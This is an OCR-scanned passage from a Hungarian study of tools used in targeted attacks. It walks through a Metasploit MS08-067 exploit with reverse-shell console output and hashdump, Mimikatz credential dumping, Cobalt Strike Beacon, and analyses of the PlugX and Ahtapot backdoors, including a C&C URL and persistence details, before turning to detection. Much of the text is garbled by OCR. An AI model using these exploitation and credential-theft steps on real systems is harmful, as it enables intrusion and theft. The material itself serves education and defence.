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Ezek az 6sszes szdmottevo platformokra elérhetdek, az exploit modulokkal az alabbi rendszerek
tamadhatok:

aix

bsdi

hpux
mainframe
0osx
windows
android
firefox
irix
solaris
apple ios
freebsd
linux
netware

unix

A Metasploit nem csak a biztonsagi szakemberek szamara fontos segédeszkoz, de ugyantgy a ta-
madoknak is megnyitja a lehetdséget arra, hogy a biztonsagi hibakat szdmitogépek megfertdzésére
kihasznalhassak. Nem meglepd, hogy a kozonséges kiberbiindzok igénybe veszik a szoftver szolgal-
tatasait. Ennél okkal meglepdbb, hogy az ennél elvileg sokkal szofisztikaltabb célzott timadasokban
is felbukkan a Metasploit, mint példaul az Inception kampanyban.'** Ez arra utal, hogy egyfeldl a
célzott tamadasok mogott 4116 csoportok sem mindig felkésziiltebbek az exploitok hasznélatara, mint
a kozonséges blin6zok, masfeldl még ha képzettebbek is, nem valogatnak az eszkézokben, €s a lehetd
legegyszeriibb rendelkezésre 4ll6 eszkozt hasznaljak. Két tipikus tdmadasi formaban szoktak hasz-
nalni a Metasploit Framework-6t.

Az elsd tAmadasi formédban egy operacids rendszer biztonsagi hibat hasznalnak ki arra, hogy tavoli
elérést biztositsanak a rendszerhez.

Windows XP rendszerek tdamadasara az MS08-067 (SMB) biztonsagi hiba a legényelmesebb. Ezt
a hibat témegesen hasznaltak ki a 2000-évek kézepén a Windows féregprogramok, kdnnyedén végig
terjedve a lokalis halozatokon. Ugyanez a biztonsagi hiba a kiviilrdl torténd tamadasokra is felhasz-
nalhat6. Ehhez természetesen az kell, hogy az SMB szolgaltatdshoz tartozo portok az Internet feldl
elérhetdek legyenek. Ennek normalisan nem lenne szabad megtorténnie, de a 2017 majusaban vilag-
szerte futotliz szerlien szétterjedd WannaCry példdja megmutatta, milyen sok esetben vannak ezek a
portok megnyitva a nagyvilag szdmara.

A tamado a Metasploit konzol alkalmazasbol kivalaszthatja az alkalmazni kivant exploitot, majd
a payloadot (ami jelen esetben egy remote shell), majd konfiguralja a modulokat. Az MS08-067 és
a remote shell esetében harom fontos paraméter van csak, a tdmado (LHOST) és a megtdmadando
szamitégép (RHOST) IP cime, valamint az a port (RPORT), amin a tdmadd a kapcsolatot kiépiti, és
a port, amin a bejovo kapcsolatot fogadja (LPORT).

133 Granger, 2018.
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1738 exploits — 9292 auxiliary — 308 post 1
526 payloads — 48 encoders — 18 nops 1
=[ Free Metasploit Pro trial: http:/s/r—7?.costrymsp 1

msf > use exploitswindows/smb/ms@8_B67_netapi

msf exploity{ > » zet payload windows meterpretersreverse_tcp
payload =» windows meterpretersreverse_tcp

msf exploity > » show options

Module options <{exploitA/windows~ smbh/mzB8_B67_netapid:

Hame Current Setting Regquired Description

RHOET The target address

RPORT 445 yes The SMB service port (ICP>

SMBPIPE BROUWSER yes The pipe name to use C(BROWSER. SRUSUC)

Payload options (windows meterpreter reverse_tcpd:

Name Current Setting HRequired Description

ERITFUNC thread Exit technigque (Accepted: '’, seh, thread. process. noned
LHOST yes The listen address

LPORT 4444 yes The listen port

Exploit target:

< > » set LHOBT 192.168.5%4.113
.168.54.113
< > » set RHOST 192.168.54.187
RHOST => 192.168.54.1@7
mzf exploit{ > >

33. abra: Exploit modul konfigurdlasa

Ezutan mar csak el kell inditani a tamadast, a Metasploit elinditja az exploitalast, aminek a végén
megnyilik a tavoli elérés (ebben az esetben egy Meterpreter shell) a fertozott gép felé. Ezen a
kapcsolaton keresztiil parancsokat lehet kiildeni a fertdzott szamitogépre, legegyszertibb példaként
konyvtarlistat lehet kérni.

mzf exploitc > > exploit

Started reverse TCP handler on 192.168.54.113:4444

192.168.54.187:445% — Automatically detecting the target...

192.168.54.187:445% — Fingerprint: Windows HP — Serwvice Pack 2 — lang:English

192 _.168_.54.107:445 - Selected Target: Windows XP S5P2 English (Alway=zOn NZ>

192.168.54.187:445% - Attempting to trigger the vulnerability...

Sending stage (179779 bytes) to 192.168_54_1@7

Meterpreter session 1 opened ¢192.168.54.113:4444 —> 192.168.54.107:1858> at 2818-83-05 B6:14:40 —B868

meterpreter > pud

(RN

meterpreter > dri
Unknown command: dei.

meterpreter > dir

Listin (AN

Last modified Name
2004-86—-30 B5:59:51 AUTOEXEC.BAT
2812-87-38 B1:26:11 BIN
2804-86—-38 B5:59:51 CONFIG.SYS
2004-86—-30 B6:62:84 Documents and Settings
2804-86-38 B5:59:51 10.5¥%
2804-86-38 B5:59:51 MEDOS . 5¥S
2812-11-14 B87:24:89 MS0Cache

18 B@2:42:87 NTDETECT . COM

@3:89:55 NU

24 @5:4A:55 Powerarchiver
2813-85-10 A4:14:21 Program Files
2804-86-38 BL:=29:88 RECYCLER
2810-11-24 B6:=45:22 STARTUP
2018-11-25 B2:59:34 Zyztem Uolume Information
2814-84-28 B1:32:29 Tools
2813-18-24 B2:11:36 WINDOLUS
2804-A8-18 B2:-46:89 hoot.ini
28004-88-18 B2:42:87 ntlde

I a 2016-11-24 @5:41:-41 rootkittools

A7/ PR 2813-81-21 Bh:51:23 run

A7/
188444,
1 BA444

a
5]
a
a
5]
a
4
a
a
5]
a
a
a
a
5]
21

2
250832

=

34. abra: Exploit modul futtatdisa
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A legelsd, amit célzott tamadéasoknal a timadok megtesznek a kompromittalt rendszereken a jelsza-
vak kigytijtése. Erre a Meterpreter shell lehetdséget ad, a beépitett hashdump parancs a memoriabol
kigylijti az ott tarolt jelszo hash-eket:

59::1'?&8::889::8

35. abra: A begyiijtott jelszo hash-ek

Ezeket a hasheket aztan egy jelszotord programmal (példaul Jack the Ripper) megkisérlik feltorni,
hozzajutni az eredeti jelszavakhoz. Ezeket a jelszavakat felhaszndlva a mar elfoglalt szamitogéprol
tovabblépve megkisérelnek mas szamitogépekre is eljutni a lokalis halozaton, igy lassan eljutva a
szamukra legkivanatosabb célpontig. Altalaban ugyanis elsé korben a legkdnnyebben megtamadhatd
rendszert fert6zik meg, de ez nem feltétleniil fontos célpont szamukra. Az értékes célpontokhoz nehe-
zebben fertdzhetdek, esetleg kiviilr6l nem is elérhetdek, hozzéajuk t6bb 1épcsOben juthatnak el, miben
fontos segitséget nyujt a kiindulas remote shell és a kinyert jelszavak.

Az el6bbi modszert akkor alkalmazzak, ha 1étezik tdvolrdl tamadhato hibaja a célpont operacids
rendszerének. Ha nincs ilyen, vagy a célpont az Internet feldl kdzvetleniil nem elérhetd, a tdimadok
mas behatolasi modot valasztanak.

A célpont szamitdégépének tdmadasa helyett a felhasznalot tamadjak meg, altalaban emailben.
Ennek melléklete valamilyen Microsoft Office dokumentum, Adobe Flash vagy PDF allomany, eset-
leg JavaScript vagy VBScript program.

A Metasploit lehetdséget ny(jt a Microsoft Office alkalmazasok biztonsagi hibait kihasznalo
dokumentumok gyartasara. A fejezet megirasakor a CVE-2017-11882 a legkurrensebb ilyen hiba,
amit szamtalan célzott és altalanos tAmadasban hasznalnak.

Ebben a forgatokonyvben a végcél ugyanugy egy remote shell 1étrehozasa, ezért részben ugyan-
azokat a paramétereket kell megadni, a tdimado IP cimét és a portot, ahol a shell figyel. A célpont IP
cimére nincs sziikség, mivel nem a szamitogép kozvetlen megecimzésével torténik az exploitalas,
hanem a dokumentum célba juttatasaval.

36. abra: Exploit modul konfiguraldsa
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A Metasploit Framework legyartja a biztonsagi hibat tartalmazé dokumentumot, amit el kell juttatni
a célpontnak. Emellett elinditja a remote shell fogadé komponensét.

37. abra: Exploit dokumentum generdldsa

A generalt dokumentumot altalaban email lizenet mellékleteként juttatjak el a célpontnak. Megnyi-
taskor a Word biztonsagi hiba aktivalodik, és a remote shell visszacsatlakozik a tamadé gépén futd
fogad6 komponenshez. Innentdl a tdmadas ugyaniigy megy tovabb, mint az elsd esetben.

3.1.2. Mimikatz

A Mimikatz szintén szabad forrdsti program, ami a memoriaban talalhatd jelszavakat és jelszo has-
heket gytijti ki, ezeket a kezdeti fert6zés utan a lokalis halozaton beliili tovabb terjedéshez szoktak
hasznalni a célzott tamadasok soran. Ezen feliil a kifejezetten rombolo céllal alkalmazott NotPetya
hasznalta a lokalis halozaton beliili autoném terjedéshez.'**

A Metasploit Frameworkben elérheté Meterpreter shell is tartalmazza a Mimikatz-ot, igy az el6z6
fejezetben ismertetett timadasok kovetkezo 1€pcsdjében is eldszeretettel alkalmazzak.

A tipikus felhasznalas sordn eldszor kigytijtik a memoriabol a jelszavakat. Ezek tartalmazzak a
felhasznalohoz tartozo lokalis, valamint a megosztott halozati eréforrasok eléréséhez sziikséges jel-
szavakat is.

134 Miller, 2018.
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- Wt .
i O
# o~ i
s i
‘HiE v #i

! R

mimikatz 2.1.1 ¢(x86>» built on Mar 18 2018 B@:21:87

"A La Uie,. A L'Amour’ — Coe.eol

sxxx Benjamin DELPY “gentilkiwi® ¢ benjamin@gentilkiwi.com »
> http:/sblog.gentilkivi.coms/mimikatz=

Vincent LE TOUR

¢ vincent.letouxPgmail.com >

> http:/spingcasztle.com ~ http:/ “mysmartlogon.com IS

i@ikatz #t privilege::debug

rivilege

128 0K

imikatz # sekurlsza::logonpasswords

[ABBAAREA3 1
Username
Domain

#* Password
vdigest =

#* lsername

= Domain

#* Password
kerberos :

=* llzername

= Domain

#* Password
ssp =
credman =

A ; 181585 <BBEAERAA:AAA18cH1 >

Interactive from 1
Gabor

Gahor—PC

GABOR-PC

5-4-2016 12:28:53 PH
§-1-5-21-2062853984-3111599823 355570241 8-1881

38. abra: Mimikatz altal begyiijtott jelszavak

A jelszavak illetve hashek birtokaban a lokalis hal6zat megosztasait mar el tudjak érni, tovabb tudnak
terjeszkedni a halézaton beliil.

3.2. Kereskedelmi forgalomban beszerezheto eszkozok

Elony:

Hatrany:

* konnyen beszerezhetd
* jarhat hozza tdmogatas

e AV védelmek ismerik
» Koltséges lehet

3.2.1. Cobalt Strike

A Cobalt Strike sériilékenység tesztelOk (penetration tester, pentester) szamara hirdetett eszkoz,
ami konnyen elvégezhetdvé teszi az exploitalas és a fertdzés utani tevékenységek elvégzeését. Az ara
miatt (3500 USD licenszenként) a kdzonséges kiberblindzd csoportok nem szoktak hasznalni, inkabb
a komolyabb anyagi lehetdségekkel rendelkezd csoportok.
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39. abra: Cobalt Strike weboldal
Kép forrasa: https.//www.cobaltstrike.com (utolso letoltés: 2018.09.30.)

Annak ellenére, hogy nem szamitanak elsddleges célkozonségnek, a célzott timadasokban részt vevd

csoportok is hasznaljak alkalmanként.'*®
Egy tipikus tAmadas soran email lizenetekben terjesztik a leto1té komponenst:

40. abra: Kartékony kodot terjeszto levél

135 1d. Carr, 2018 és Dahan, 2018.
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A levél melléklete ebben az esetben egy CVE-2017-11882 biztonsagi hibat kihasznal6 Word doku-
mentum volt, ami egy szerverrdl letoltotte a kdvetkezé komponenst, egy erdsen kodolt JavaScript
programot.

D
var n5BODW
Fr(gQ1] kp7 21

if (vgFr(gQJJ]

kp72Nhe += return p(

/2P
21)) {aTl
w(aTISF[wV5p
Ag ? xE4 h +1: ;
NPpVL5(pRRn)),d4 a Yvar h = function(v7
‘return false var aBZupwr=

I

;var pl=

;var ;var
ar eUEMBaSV=1;while (dG8(pI, rgejeq9) != aBZupwr){ voa + eUEMBaSV.toString();eUEMBaSV++; }var

41. abra: Elsé lépcso: Javascript

Ez a script letoltotte a kdvetkezd 1épcsét, ami egy PowerShell script, ami magéaban tartalmazta
BASEG64 kodolassal a végsé komponenst.

42. abra: Masodik lépcso: PowerShell
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crcr

vagy 64 bites komponenst, ami a Cobalt Strike csomag Beacon nevii komponense, ¢s funkcionalita-
saban hasonlé a Meterpreter shell-hez:

heacon= help

Beacon Commands

Command

browserpivot
hypassuac
cancel

cd
checkin
clear
covertvpn
desktop
dllinject
download
down Loads
drives
elevate
execute
exit
getsystem
getuid
hashdump
help
inject

Description

Setup a browser pivot session

Spawn a session in a high inteqrity process

Cancel a download that's in-progress
Change directory

Call home and post data

Clear beacon queue

Dep Loy Cowert VPN client

View and interact with target's desktop
Inject a Reflective DLL into a process
Download a Tile

Lists file downloads in progress

List drives on target

fry to elevate privileges

Execute a program on target

Terminate the beacon session

ATTEmMpT To et SYSIEM

Get User ID

Dump passwWord hashes

Help menu

Spawn a session in a specific process

jobkill Kill a leng-running post-exploitation task

jobs List long-running post-exploitation tasks
kerberos ccache use Apply kerberos ticket from cache to this session
kerberos ticket purge Purge kerheros tickets from this session
kerberos_ticket_use Apply kerberos ticket to this session

keyLogger Inject a keystroke logger inte a process

kill Kill a process

Link Connect to a Beacon peer over SMB

lagonpassWaords pump credentials and hashes with mimikatz

43. abra: Cobalt Strike Beacon shell

Ennek segitségével lehet a tovabbi modulokat telepiteni. A Cobalt Strike szerver oldali kezeld feliile-
tén ezutan mar elérhetdvé és menedzselhetdvé valnak a fertdzott rendszerek.
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44. abra: Cobalt Strike menedzsment feliilet
Kép forrasa: https://www.cobaltstrike.com/screenshots (utolso letoltés: 2018.09.30.)

A szokasos szolgaltatasokat nyujtja a szoftver, példaul a billentytleiitések figyelését.

45. abra: A rogzitett billentyii leiitések
Kép forrasa: https://www.cobaltstrike.com/screenshots (utolso letoltés: 2018.09.30.)
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Az itt vazolt tipikus tdmadas soran a fert6zés 1épcsdiben elsdsorban erdsen kodolt scripteket hasznal-
nak, amelyeknek a felismerése a legtobb virusvédelemnek probléméat okozhat.

3.3. Egyedi fejlesztésii eszkozok

Elény: Hatrany:

* Virusvédelmek altalaban nem ismerik * Fejlesztdi kapacitas és erdsen specializalt tudas kell

3.3.1. Plugx

A Plugx backdoor programot tobb kinai APT csoport is hasznalta az évek soran. Kereskedelmi forga-
lomban, illetve a szokasos underground féorumokon nem elérhetd, valdsziniileg egy belso fejlesztésii
szoftver,'*® amit azonban tobb csoport szamara is hozzaférhetévé tettek.

Két komponensbdl all: a szerver alkalmazasbol, amit a tdimadok altal tizemeltetett szerveren futtat-
nak, valamint a kliens alkalmazasbdl, amivel az dldozatok szamitogépét megfertdzik.

3.3.1.1. Szerver oldali komponens
A szerver komponens egy Windows program, ami két alapvetd feladatot is ellat. El6szor is ezzel
lehet generalni magukat a kliens programokat, amivel azutan a célpontokat meg lehet fertézni. Ezt

a funkciodt a szerver program kezel6i feliiletének egyik lapjan lehet elérni, ahol a generdlando6 kliens
programok legfontosabb tulajdonsagait lehet meghatarozni.

46. dbra: Plugx generator feliilet

136 Jaime Blasco, 2018.
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A generalas soran meg kell adni a C&C (command-and-control) szerver IP cimét vagy nevét, vala-
mint a kommunikaciés portot. A szerver alkalmazasnak az ezen a cimen elérhetd szamitdgépen kell
futnia. A sikeres fert6zés utan a kliens program megkisérli elérni a szerver alkalmazast ezen a cimen.
Elsoként bejelentkezik, hogy a szerver elkdnyvelhesse a sikeres fertdzést, majd folyamatosan lekér-
dezi a szerver alkalmazast, parancsokat varva.

Jellemzden 4-8 kiilonb6z6 szerver cimet lehet konfiguralni, de a gyakorlatban latott esetekben
altalaban egy kliens csak 1-2 kiilonb6zd szervert hasznalt.

A szerver oldali alkalmazas masik fontos feladata, hogy grafikus kezeldfeliiletet biztositson a fer-
tézOtt szamitogépek menedzseléséhez. A ma népszert kartevo csaladokkal ellentétben a Plugx eseté-
ben a kezeld feliilet nem webes PHP scriptek gylijteménye, hanem egy Windows program.

A nyitolapon Osszefoglal6 lista talalhatd az éppen aktiv fertézott szamitégépekrol. Ezek azok
a szamitogépek, amik be vannak kapcsolva, €s rajtuk fut6 kliens program sikeresen csatlakozott a
szerverhez.

47. abra: Plugx menedzsment konzol

A kilistazott gépekre valo dupla kattintas utan egy 01j ablak jelenik meg, a szamitégép Manager. Ezen
keresztiil a szerver programbdl az 0sszes szokasos backdoor szolgaltatashoz hozza lehet férni egy
kényelmes grafikus kezeldi feliileten.

Legeldszor is a Disk almenii alatt a lemezmeghajtok tartalmat végig lehet bongészni, valamint
fajlokat letolteni a fertdzott géprol vagy lefuttatni a fertdzott gépen talalhato programok valamelyikét.

48. abra: Lemez tartalom bongészése
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A letoltés kivalasztasa esetén a letoltott 41 a File Transfer fiilnél érheto el.

49. abra: Fajl transzfer

A masik gyakran hasznalt lehetdség a szamitogépen talalhato valamelyik program lefuttatasa, mint
mondjuk példaként a notepad.exe:

50. abra: Program futtatas a fertézétt gépen

Ekkor példaul a Capture fiilnél lehet meggy6zddni, hogy valoban megtortént-e a végrehajtas, itt lehet
a fert6zott géprol képernydmentéseket generalni.

51. abra: Képernyémentés készitése
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A Process fiilon a fert6zott szamitogépen futd folyamatokat ki lehet listazni €s adott esetben leéllitani:

52. abra: A fertozott gépen futo folyamatok kezelése

A gépen futo szolgaltatasok listazasa és menedzselése is elérhetd a kezeldi feliileten a Services alpont
alatt. Itt a szolgaltatasokat lehet elinditani vagy leallitani, tovabba azt modositani, hogy automatiku-
san induljanak, vagy pedig kiilon kell minden alkalommal futtatni dket.

53. abra: A fertozott gépen levd szolgaltatasok menedzselése
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Regisztracios adatbazishoz kapcsolddo tennivaldkat a Register pont alatt lehet elérni, innen lehet 0j
kulcsot 1étrehozni, vagy régit tordlni, esetleg modositani.

54. abra: A regisztracios adatbazis kezelése

A Netstat program kimenete is elérhetd a szerver feliileten, ezzel az aktiv halozati kapcsolatokat lehet
figyelemmel kisérni. Az alabbi abran éppen a Plugx szerverrel valo kapcsolatot jeldltiik ki.

55. abra: A fetézott gép aktiv halozati kapesolatainak listazdsa

A fert6zott szamitogéprol képernydképet (screenshot) lehet késziteni, ezzel a gépet hasznalo személy
tevékenysége folyamatosan nyomon kovethetd.
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56. dbra: Képernyémentés készitése

Amennyiben interaktiv beavatkozasra lenne sziikség, tdvoli asztal (remote desktop) kapcsolatot le-
het létesiteni a fert6zott szamitogépen, és azon a sziikséges tevékenységeket végrehajtani. Mindez a
kezeloi feliilet Controll fiilén talalhato.

57. abra: Tavoli asztal kapcsolat létrehozdsa
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Terminal kapcsolat (command shell) is nyithatd, amin keresztiil az alapvetd operacios rendszer pa-
rancsokat lehet végrehajtani.

58. abra: Tavoli parancsablak létrehozdsa
A kliens program a fert6zott gépen folyamatosan rogziti a billentytiletitéseket, és sziikség esetén

ezekhez hozz4 lehet férni a Keylogger szekcioban. A képernydképek mellett ez egy masik modszert
nyujt a szamitégépen zajléd tevékenységek kovetésére.

59. abra: Billentyiileiitések rogzitése
Az Options fiilon a szamitogépet lehet leallitani, Gjrainditani, zarni vagy a bejelentkezett felhasznalo

kiléptetni. Erre akkor lehet szlikség példaul, ha olyan véltoztatasokat végeztek a tamadok, amihez
yjrainditas sziikséges.
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60. abra: Fertozott gép ujrainditisa
3.3.1.2. Kliens

A kliens a generalaskor meghatdrozott porton keresztiil csatlakozik a szerver alkalmazashoz. Ez a
kiépitett kapcsolat megfigyelhetd valamilyen halézati feliigyeld programmal, mint példaul a Sysin-
ternals csomagban levé TCPView. Itt lathato, hogy kiépiilt egy kapcsolat egy tavoli géphez az 12345
porton keresztiil, ahogy azt a kliens generalasakor a konfiguracioban meghataroztuk.

61. abra: Kiépiilt a kapcsolat a szerverrel
A kliens program a szervert6l varja a parancsokat. Az el6z0 fejezetben lattuk, hogy a szerver kezel6i

feliiletén milyen funkcidkat lehet elérni. Most azt nézziik meg, hogy mindez a kliens programban
hogyan keriilt implementalasra.
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A klasszikus Plugx minden egyes funkciot kiilon fiiggvényben valosit meg. Ezeknek a nevei jol
leirjadk a mtkodést is, és nagyjabol pontosan meg is felelnek a szerver alkalmazason lathatd menti-
pontok neveinek.

A kliens forraskodjaban jol kdvethetd mindez, az inicializaci6 soran a kod dsszerendeli a funk-
cid nevét és az azt implementald eljarast. Ezen kiviil a Plugx verzid azonositdja is szerepel, ami
tradicionalisan nem egy szokvanyos verzidoszam, hanem a kod lezardsanak datuma (jelen esetben
2012.02.13.). Némely esetben ennél tobb informacid is hozzaférhetd. Az esetek egy részében, valo-
szinlileg figyelmetlenség miatt, nem a végso release build-et hasznaljak, hanem valamelyik kozbiilsd
belsé build-et, amiben debug informaciok is tarolddnak. Ebben az esetben példaul az latszik, hogy a
Plugx eredeti forraskodjaban a NetHood fiiggvényt az XPlugNethood.cpp nevii forrasfijl tartalmazza.

mou eax, [eax]

push esi

push offset aMethood ; “Hethood” Funkcio neve
push offset HetHoodProc ] Implementalg eljaras
push 2e128213n  Plugx verzio

push )

push BFFFFFFFFh

call eax

mow esi, eax

test esi, esi

jz short loc_1888DE4E

push esi

push 3Dh

mow eax, offset aXplugnethood ¢ ; “XPlugMethood.cpp” Forraskod
call plugx log

add esp, 8

mow eax, esi

pop esi

retn

62. abra: A fiiggvények implementalasa a forraskodban

Ezen feliil minden funkcid ald tobb alfunkcid is tartozik, gyakorlatilag annak megfeleléen, hogy
a szerver oldali alkalmazas milyen parancs lehetdségeket biztosit az adott fiilon. Példaul a szerver
alkalmazas Disk fiile alatt kivalaszthato tevékenységek (f4jl listazas, atnevezés, végrehajtas. ..) mind-
egyikének megfelel a kliens alkalmazas Disk fliggvényének valamelyik alfiiggvénye.

Fiiggvény neve Alfunkciok

Drive informécio (tipus, szabad hely)
Féjlok listazasa

Konyvtar 1étrehozésa

Disk
F4jl 1étrehozasa
F4jl masolasa/torlése/atmozgatasa/atnevezése
F4jl futtatasa
KeyLog Billentytileiitések rogzitése
Nethood Halozati megosztasok listdzasa

Netstat Aktiv halozati kapcsolatok listazasa
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Fiiggvény neve Alfunkciok
Szamitogép lezarasa, ujrainditésa, ledllitasa
Option
Bejelentkezett felhasznalo kiléptetése
PortMap Port map
Folyamat leallitasa
Process Folyamatok és modulok listazasa
Folyamat és modul informacio kiirasa
RegEdit Registry kulcsok listazasa, létrehozasa, torlése
Screen Képernyémentés készitése
Szolgaltatas listazasa
Service
Szolgaltatas inditasa, leallitasa, torlése
Shell Tavoli parancs konzol 1étrehozasa
SQL driverek és adatbazisok listazasa
SQL SQL parancs végrehajtasa
Telnet Telnet kapcsolat 1étrehozasa

3. Tablazat: Plugx szolgaltatasok és fiiggvények

3.3.2. Ahtapot

Az Ahtapot egy masik vonalat képvisel a célzott timadasok eszkoztaraban. Amig az eldzé fejezet-
ben részletezett Plugx tobb APT csoport altal hasznalt, kiilso fejleszto altal készitett szoftver, addig
az Ahtapot egy rendkiviil sziik kdrben hozzéaférheté egyedi program, a sejtések alapjan valamelyik
allami szerv belsé fejlesztésii backdoor programja.'*” Annyira ritka, hogy egyetlen eseten kiviil sehol
mashol nem bukkant fel.

A backdoor harom {6 komponensbdl all, ezek:

» -installer: Tohum (,,mag”)
» -6 program: Beyin (,,agy”)
» -injektor: Kol (,,kar”)

Mindegyik komponensnek volt egy belsd, torok nyelven értelmes kodneve, ami a funkcionalités-
ra utalt.

Ezen feliil az egész projektnek is volt egy kozos kddneve, Ahtapot (“polip™), valamint az is kide-
rilt, hogy a program béta verziojat alkalmaztak. Ezt egyébként a részletes elemzé€s is megerdsitette,
lathatoan félkész allapotban vetették be a szoftvert.

A telepité beagyazva tartalmazza a masik két modult. A f6 programot a %PROFILE%\Appli-
cation Data\Adobe\svchost.exe fajlba menti ki és a regisztracids adatbazisban bejegyzi a HKLM)\
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Adobe kulcs ala.

Az injektor komponenst a %PROFILE%\Local Settings\Temp\trp.exe tajlba menti ki. Az injector
modul nem csindl semmit, valoszinlileg még nem késziilt el a backdoor alkalmazésakor.

A %PROFILE%\Application Data\Adobe\ konyvtar a backdoor f6 konyvtara, ahova a tobbi modul
¢s a létrehozott adatfajlok keriilnek.

A backdoor fontosabb konfiguracids paramétereit titkositott formaban a %PROFILE%\Applica-
tion Data\Adobe\1069236137-21090-18095-9062368.slg fajlba menti el. A szamjegyek véletlensze-
riek, de a név struktirdja mindig ugyanez, €s ez a név lesz a késobbiekben a fertdzott szamitogép
egyedi azonositdja.

137 Spencer, 2018.
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Ezutan beolvassa ¢€s kikodolja a telepitéskor kimentett konfiguracios adatokat. A kédolatlan konfi-
guracios adat az alabbi volt:
exefhttp://adobupdate.serveftp.com/hhr#. .... @..... #Adobe#svchost#rgs#9999999991 0 +[iFOHOH0I

OO0 ROMAORAORAOROND + 50 #0#0#15#1. 0. 0#

Ez tartalmazza tobbek kozott a C&C szerver nevét (sargan kiemelve), a C&C feltoltéseknél hasznalt
jelszot és az opcionalis modulok allapotat (zolden kiemelve). Ha a modul allapota 1, akkor a f6 kom-
ponens letolti azt a szerverrdl és elmenti a modul sorszdmanak megfelelden a sig/ ... sigl0 konyvta-
rak valamelyikébe.

A 16 komponens lejelentkezik a szervernél egy specialis lekérdezéssel:
http://adobupdate.serveftp.com/hhr/comm.php?tId=633406948-9495-18810-9062368

Itt a telepitésnél véletlenszeriien generalt egyedi azonositot kiildi el a szervernek a f6 komponens, a
tovabbi kommunikacid soran ezt fogja hasznalni.

Ezt a lekérdezést rendszeresen megismétli a backdoor, a szerver pedig idénként egy parancskodot
kiild vissza. A parancskod egy 0 és 100 kozotti egész szdm, ami a backdoor egyes funkcioit aktivalja.
A backdoor ezek koziil csak a 25-ig terjedd értékeket hasznalja, de azok koziil sem mindegyiket, a
0,9,13 és a 18 és 24 kozotti parancskodok nincsenek implementélva.

A backdoor parancskddjainak megfeleld funkcionalitast az alabbi tablazat tartalmazza. Némely
parancsok a kod mellett tovabbi opcionalis paramétereket is kapnak a szervertdl. Egyes kodoknal
(példaul 1,3 ,15) a 6 funkcionalitas nem lett még implementalva, gyakorlatilag csak elmenti a memo-
riabol a konfiguracios adatokat. Valoszinti, hogy ezek a parancsok (a 14-es parancskddhoz hasonldan)
a kiilonb6z6 konfiguracios paraméterek modositasara szolgalnanak.

Parancskéd | Opcionalis paraméter Funkcié
1 Konfiguracids adat mentése
2 6. modul futtatdsa, kimenet felt6ltése a szerverre
3 Konfiguracios adat mentése
4 5. modul futtatasa, kimenet feltdltése a szerverre
5 String: konyvtarnév A megadott konyvtar fajllistajanak listazas (nem rekurziv)
6 .slg fajl feltoltése a .slg3 konyvtarbal
7 4. modul futtatasa, kimenet feltoltése a szerverre
8 String: fajl elérési ut Feltolti a szerverre a megadott fajlt
10 String: URL, konyvtar-| Letolti a megadott URL tartalmat a megadott konyvtar-
név ba, majd lefuttatja azt
. .. . Let6lti a megadott URL tartalmat a megadott kényv-
11 ig\'lng: URL, konyvtar- tarba, Iefuttagtja azt majd a regisztréciésgadatbézisb\;n
bejegyzi autostart-ra
12 Sl PR Lefuttatja a parancsot majd a kimenetét feltolti a szer-
verre
14 String: C&C név Moddositja a C&C szerver nevét a konfiguracids fajlban
15 Konfiguracios adat mentése
17 Numeric: modul sor-| Let6lti a megadott sorszamu modult a szerverrél, majd

szam, konyvtar sorszam | elmenti a megadott sorszamu kényvtarba
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Parancskdd | Opciondlis paraméter Funkcio
55 Kilistdzza a futé folyamatokat, majd feltolti a listat a
szerverre
26 Numeric: PID Leallitja a megadott PID azonositéju folyamatot
99 Ledllitia a 3. modult, majd eltavolitja hozza tartozd

regisztracids adatbazis bejegyzést

4. tablazat: Ahtapot szolgaltatasok

A szerverre jelszovédett archivumban tolti fel az adatokat a backdoor. Ehhez a népszerti 7Zip nyilt
forrasu programot hasznalja, amibdl a forraskod nagy részét beleforditottak a backdoorba. A tomori-
téskor hasznalt jelszot a konfiguracios fajl tartalmazza (jelen esetben 99999999910).

Osszességében az Ahtapot egy backdoor keretrendszer, ami rugalmasan bévithetd modulokkal.
Alkalmazésa idején ezeket a modulokat nem tudta letolteni telepitési hiba miatt, emiatt nem all ren-
delkezésre bovebb informécio a lehetséges modulokrol.

4. A célzott tamadast végrehajto kartékony kodok észlelésének lehetoségei

Létezik szamos kereskedelmi forgalomban levd termék, amelyik védelmet kindl a célzott tamadéasok
ellen. Ezek egy része standard virusvédelmi program, mas része specifikusan célzott tamadasok ellen
késziilt.

Mindkét esetben olyan programcsomag az idedlis, amelyik a lehetd legtobb védelmi réteget biz-
tositja. Az alabbi abra a tobbrétegii védelem egyes komponenseinek a szerepét illusztralja (Edwards
et al, 2015)

63. abra: Tobbrétegii védelem feladatai
Kép forrasa: https.//www.virusbulletin.com/uploads/pdf/conference_slides/2015/Edwards-etal-VB2015.pdf
(utolso letoltés: 2018.09.30.)
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Végigmenve a Plugx esetében megmutatott fertézési 1épcsokon, egy komplex virusvédelem szamos
ponton megakadalyozhatja a kéros tevékenységet.

A levelezés védelem blokkolhatja a kiindul6 phishing levelet. A hasznalt nyelvezetet felismerd
spam modul vagy a levelezés védelemben alkalmazott agresszivebb szabalyok detektalhatjak a tama-
dast korai fazisban.

A viruskeres6 modul felismerheti a levél mellékletében szerepld dokumentumot.

A specifikus exploit detektalo modul jelezhet, ha észleli, hogy valamilyen biztonsagi hiba kihasz-
nalasaban szerepld aktivitast tapasztal.

Az URL sziiré modul jelezhet, amikor a trojai telepitéskor esetlegesen tovabbi komponenseket
toltenek le olyan weboldalrol, ami mar artalmas oldalként lett regisztralva.

A viruskeres6 modul felismerheti ezeket a letoltott komponenseket, illetve a trojai telepitéséhez
hasznalt kozbensé komponenseket.

A viselkedés alapi felismerések a mar futd trojai altal a rendszerben végrehajtott tevékenysége-
ket észlelhetik, és blokkolhatjak.

A tiizfal felismerheti a specifikus kommunikaciot a trojai és a C&C szerver kozott.

Az adatszivargas elleni védelem a legutolso fazisban észlelheti a trgjai altal kilopott adatok ki-
juttatasat.

Altalaban a virusvédelmek arra torekednek, hogy a gyakori timadasi formakat mindegyik fazisban
detektalni tudjak. Igy nagyobb az esélye, hogy a tiamadok késoébbi probalkozasainal legalabb valame-
lyik védelmi réteg még hatékony lesz.

A fejezet tovabbi részében az ingyenesen hozzaférhet6 eszkdzokkel mutatjuk meg, hogy a korabbi
fejezetek példaiban szerepld kartevok hogyan ismerhetdk fel a fert6zott rendszerben.

4.1. Trojai keresése fertozott rendszerben

Egy trojai program gyanuja esetén mindazokat a helyeket végig kell bongészni, amelyeket kordbban
